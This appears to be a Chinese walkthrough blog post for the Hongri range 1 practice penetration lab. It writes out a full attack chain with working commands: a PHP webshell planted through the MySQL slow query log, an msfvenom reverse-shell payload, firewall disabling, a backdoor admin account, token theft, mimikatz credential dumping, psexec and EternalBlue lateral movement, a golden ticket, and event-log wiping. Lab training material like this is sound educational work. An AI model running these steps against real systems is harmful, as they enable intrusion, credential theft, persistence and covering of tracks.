0%

红日靶场1

phpMyadmin后台getshell、令牌窃取提权、Win32k 特权提升漏洞

红日靶场1

环境配置

整体配置图如下

现在为三台靶机配置网卡

打开vm找到左上角编辑—>虚拟网络编辑器添加一段虚拟网络VMnet2,设置为仅主机

配置攻击机kali

这里使用我自己虚拟机的kali作为攻击机,添加网络适配器,设置为双网卡NAT,vm1

不过这里配置好后执行ifconfig后,并没有分配vm1网段的ip

手动添加一下

1
2
sudo ip addr add 192.168.80.10/24 dev eth1            #分配ip
sudo ip route add default via 192.168.80.1 #设置默认网关

配置win7 x64

设置win7 x64为双网卡vm1,vm2

配置win2008

设置win2008为单网卡vm2

配置win2k3

设置win2k3为单网卡vm2

启动phpstudy服务

打开win7 x64,用hongrisec@2019密码进行登录(三台靶机密码相同)

找到C:\phpStudy的phpstudy后启动服务,结果发现phpstudy停止工作

去网上搜了下找到解决办法,升级下虚拟机就行了

我这里选择最新的16.2版本

然后点击更改此虚拟机

升级好后重新打开win7 x64,成功启动服务

访问localhost/yxcms,出现下图说明搭建成功

注意:在渗透过程中所有主机都需要打开


信息搜集

用nmap扫描一下端口

1
nmap -sC -v 192.168.80.128

扫描结果如下

1
2
3
4
5
6
PORT     STATE SERVICE
80/tcp open http
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: phpStudy \xE6\x8E\xA2\xE9\x92\x88 2014
3306/tcp open mysql

存在80端口我们直接访问

dirsearch扫一下目录,忽略掉403

1
dirsearch -u http://192.168.80.128/ -x 403

外网打点

扫出来发现有/phpMyadmin,访问用root:root成功登录

我们先看看是否有限制目录读写

1
show variables like '%secure_file_priv%';

如果为null的话表示不允许数据的导入和导出,那么无法进行写文件和读文件

这里可以利用慢日志来写shell,我们先查看慢日志是否被启用以及日志文件的位置

1
show variables like '%slow_query_log%';

我们写shell的话,这里需要开启慢查询并且修改日志文件存放路径

1
2
set global slow_query_log=1;
set global slow_query_log_file='C:\\phpStudy\\WWW\\shell.php';

然后执行查询语句,把一句话木马写到shell.php里

1
2
select '<?php @eval($_POST[1]);?>' or sleep(11);
#sleep时间要超过最大限制(也就是10秒)才生效

写完shell后用蚁剑连接

我们右键在此处打开终端

先看看是否存在杀软程序

1
tasklist /SVC

将执行结果复制到在线网站查询一下

可以看到这台机子没有杀软,那么就简单多了

打法一

联动蚁剑上线cs

我们直接联动蚁剑上线cs,在cs文件夹打开终端

1
2
chmod +x teamserver                  #给予服务端程序teamserver 执行权限
./teamserver 192.168.80.10 root #运行服务端程序,192.168.80.10是本机IP,root是要设置的连接密码

开启服务端后,新建终端输入以下命令运行客户端程序

1
java -Dfile.encoding=UTF-8 -javaagent:CobaltStrikeCN.jar -XX:ParallelGCThreads=4 -XX:+AggressiveHeap -XX:+UseParallelGC -jar cobaltstrike.jar

新建配置文件,连接CS服务器

(主机和密码就是刚刚设置的,用户名随便填一个)

客户端启动成功后,右上角添加本地监听器

右上角攻击 -> 生成后门 -> Windows Executable,生成后门可执行文件

监听器选择刚刚创建的,勾选x64

将生成的可执行文件通过蚁剑上传到WWW目录下

右键打开终端,执行上传上去的shell.exe

成功上线cs

提升权限

方便操作,我们把回连间隔改为0使得输入的命令立刻执行

(实战不建议这样,容易被办)

右键进入beacon,上线cs第一件事把防火墙关了

1
shell netsh advfirewall set allprofiles state off

补充:也可以远程登陆关闭防火墙

尝试远程登陆

1
2
3
4
shell net user rev1ve sz@2019 /add               #添加账户密码
shell net localgroup administrators rev1ve /add #添加为管理员权限
shell REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
# 开启3389端口

成功添加管理员用户

然后在攻击机执行以下命令

1
rdesktop 192.168.80.128:3389

方法一

关闭防火墙后,右键执行 -> 提权选择我们刚刚创建的监听器

执行exp,过一会拿到SYSTEM权限(把回连间隔也改为0)

方法二

尝试cve-2019-0803提权 exp链接

将下载的cve-2019-0803.exe上传到WWW目录下,执行以下命令

1
shell cve-2019-0803.exe cmd "start shell.exe"

相当于再启动shell.exe木马文件,过一会拿到SYSTEM权限

内网渗透

内网信息搜集

查看网络适配器
1
shell ipconfig

不难发现除了我们访问ip所在网段外,还存在内网192.168.52.0/24的网段

查看本地用户信息

查看本地管理员组

域内信息搜集

判断是否存在域环境
1
shell net config Workstation

可以知道存在GOD域环境,域名为god.org

查看域列表

查看域用户信息
1
shell wmic useraccount get Caption,Domain,Description

我们目前拿到的shell就是位于STU1

查看主域控制器

通过查询时间服务器来找到主域控制器名称

1
shell net time /domain

定位主域控制器

拿到主域控制器名称后,执行以下命令定位目标主机在内网的IP

1
shell ping owa.god.org

探测内网存活主机

基于ICMP发现存活主机
1
for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.52.%I | findstr "TTL="

也可以使用cs右键目标 -> 端口扫描

得到存活主机名单

1
2
3
192.168.52.143       #我们getshell机子的内网ip
192.168.52.141
192.168.52.138 #主域控制器的内网ip
使用fscan扫描内网存活主机

由于目标网段是内网,我们需要搭建一个一级网络代理

这里就不赘述

用户凭据收集

抓取 Hash

抓取明文密码

右键选择执行 -> run mimikatz

内网横向移动

我们目前拿到的是内网ip为192.168.52.143的控制权

不过这台机子并不在GOD域内,我们尝试切换目标为ip是192.168.52.138的域控

由于刚刚扫描发现445端口开放

那么先创建SMB监听器

然后在左上角点击显示目标

右键选择jump -> psexec

然后选择我们刚刚创建的SMB监听器,对端连接的隧道选择system权限的

不清楚这里为什么失败,搁置了很久

后面参考别人的wp,想到应该是这里psexec对应的密码我们是修改过的,我们将域控原始密码hongrisec@2019改为我们后面的新密码就行了

横向移动后,养成关闭防火墙习惯

成功进入域控,拿到最高权限

权限维持-黄金票据

这里需要再抓取一次hash和明文密码

抓取hash

右键选择执行 -> 转储hash

记住Krbtgt的hash值58e91a5ac358d86513ab224312314061

抓取明文密码

右键选择执行 -> run mimikatz

把SID,域名和hash复制下来

右键选择执行 -> 黄金票据

填进对应数据

出现下图视为成功

消除痕迹

在渗透过程中,痕迹清除非常非常重要,不清除容易被防守方溯源

1
2
3
4
5
shell wevtutil cl security                #清理安全日志
shell wevtutil cl system #清理系统日志
shell wevtutil cl application #清理应用程序日志
shell wevtutil cl "windows powershell" #清除power shell日志
shell wevtutil cl Setup #清除(cl)事件日志中的 "Setup" 事件。

到这里整个打靶流程就结束了


打法二

联动蚁剑上线msf

我们先生成msf的木马文件

1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.80.10 LPORT=1028 -f exe > exp.exe

开启msf监听

1
2
3
4
5
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.80.10
set lport 1028
run

通过蚁剑上传木马文件并执行,拿到meterpreter会话

执行shell命令,输入chcp 65001解决中文乱码问题

上线msf第一件事关闭防火墙

1
netsh advfirewall set allprofiles state off

权限提升

我们可以知道目前是administrator管理员权限

尝试窃取SYSTEM权限令牌,在meterpreter会话依次执行以下命令

1
2
3
4
load incognito                                   #加载incognito模块
list_tokens -u #列出主机上所有令牌
impersonate_token "NT AUTHORITY\SYSTEM" #窃取NT AUTHORITY\SYSTEM账户的令牌
steal_token <PID> #从指定进程中窃取令牌

成功拿到最高权限

内网渗透

内网信息搜集

和打法一相同不再赘述

域内信息搜集

和打法一相同不再赘述

探测内网存活主机

由于我们拿到shell了,利用后渗透阶段的基于arp协议探测

1
run post/windows/gather/arp_scanner rhosts=192.168.52.0/24

用户凭据收集

抓取Hash

可以使用模块smart hashdump

1
run windows/gather/smart_hashdump

也可以执行以下命令

1
run hashdump

抓取明文密码

前提条件:

  • SYSTEM权限
  • meterpreter进程迁移到一个64位程序的进程中

使用msf中的kiwi模块

1
2
load kiwi         #加载kiwi模块
help kiwi #查看kiwi模块的使用

我们现在执行creds_all不行,原因在于我们的meterpreter进程在86位进程中

我们可以选择迁移PID为516的lsass.exe进程

获取明文密码

内网横向移动

我们前面知道还存在192.168.52.0/24网段,借助MSF 的 autoroute 模块去访问内网网段

静态路由配置

1
2
3
4
#加载MSF的autoroute模块,获取当前机器的所有网段信息
meterpreter > run post/multi/manage/autoroute
#添加目标内网路由
meterpreter > run post/multi/manage/autoroute SUBNET=192.168.52.0 ACTION=ADD

可以看到已经存在该内网网段,就不用再添加了

尝试探测域控主机的445端口是否开放

使用auxiliary/scanner/portscan/tcp模块

开启445端口的话,尝试使用永恒之蓝漏洞

1
2
3
4
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp
set rhosts 192.168.52.138
run

成功拿到域控的最高权限


参考文章

解决小皮停止工作:

靶场wp:

msf抓取明文密码: